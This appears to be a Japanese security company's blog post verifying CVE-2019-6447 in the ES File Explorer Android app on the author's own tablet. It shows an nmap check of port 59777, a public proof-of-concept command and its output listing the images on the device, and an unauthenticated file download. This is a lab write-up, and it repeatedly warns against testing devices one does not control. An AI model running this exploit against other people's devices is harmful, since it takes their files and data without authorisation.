このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。
あるもりすぶろぐの内容は個人の意見です。
Androidアプリの脆弱性を初めて検証してみる
脆弱性の検証は自己責任で行ってください。また、自身で管理する端末以外ではやらないでください
今週の Armoris日記は Androidアプリの脆弱性検証をやってみたというものです。
今回初めて Androidアプリの脆弱性検証を行うので、わかりやすく試しやすそうな CVE-2019-6447 ES File Explorer について取り上げます。
CVE-2019-6447 は外部から特定のポートに http リクエストを投げることによって Android端末内部の情報を認証なしに取得することができるというものです。
実際に使える PoCがいくつか出回っており、脆弱性のあるバージョンのアプリがインストールされた端末と同一ネットワーク内にいることで攻撃が可能になります。
Description参考:JVN
脆弱性情報:NVD
影響を受けるバージョン:ES File Explorer <= 4.1.9.7.4
CVE番号:CVE-2019-6447
検証環境
今回は検証にあたり手元にあった実機 (Lenovo TB-8) を使用しています。
Name | Version |
---|---|
Android | 7.0 |
ES File Explorer | 4.1.9.7.4 |
検証用端末の準備
まずは脆弱性のあるバージョンの apk ファイルを以下からダウンロードします。
apk のダウンロードが完了したら検証端末を USB で接続し、Android File Transfer を使用して Downloadフォルダにコピーします。
ファイルのコピーが完了したら端末から apk ファイルをタップし、インストールを選択します。
インストールが完了したらアプリを開いてストレージへのアクセスを許可します。
これでアプリを使う準備が完了しました。
いよいよ実際に PoC を試してみます
まずは Port 59777 が open になっているか nmap を使用して確認します。
ポートが open になっていることを確認したので次は画像の一覧を取得してみます。
実行結果は以下のようになっており、Downloadフォルダの下に4枚の画像があることが確認できました。
このコマンドは Downloadフォルダ以外にも画像があれば全て表示されるようになっています。
user@kali-linux:~/Desktop$ python3 poc.py --cmd listPics --ip 192.168.249.10 [*] Executing command: listPics on 192.168.249.10 [*] Server responded with: 200 {"name":"file1.jpg", "time":"2020/04/22 04:53:47 åå¾", "location":"/storage/emulated/0/Download/file1.jpg", "size":"507.22 KB (519,389 ãã¤ã)", }, {"name":"file2.jpg", "time":"2020/04/22 04:53:59 åå¾", "location":"/storage/emulated/0/Download/file2.jpg", "size":"363.92 KB (372,657 ãã¤ã)", }, {"name":"file3.jpg", "time":"2020/04/22 06:36:37 åå¾", "location":"/storage/emulated/0/Download/file3.jpg", "size":"1.17 MB (1,224,704 ãã¤ã)", }, {"name":"Screenshot.jpg", "time":"2020/11/13 04:00:32 åå¾", "location":"/storage/emulated/0/Download/Screenshot.jpg", "size":"175.26 KB (179,465 ãã¤ã)"}
次は先ほどの一覧の中からScreenshot.jpg
というファイルをダウンロードしてみます。
ダウンロードが完了した Screenshot.jpg を開くと問題なく表示されています。
ここまでで一切の認証を必要とせず、同一ネットワーク内の Android端末から画像ファイルの取得に成功しました。
他にもインストールされているアプリの一覧取得やデバイス情報の取得が可能なことを確認しました。
おわり
今回検証した脆弱性は少し古いものですが、これで Androidアプリの脆弱性検証を行う際の手順を把握することができたと思っています。
今後はエミュレーター上で今回の脆弱性を再現し、トレーニングなどに再利用しやすくしたり、他の Androidアプリの脆弱性検証も試していきたいと思います。
**今回検証した脆弱性は同一ネットワークに所属しているだけで攻撃が可能なため、自身で管理するネットワーク環境及び端末以外ではやらないでください。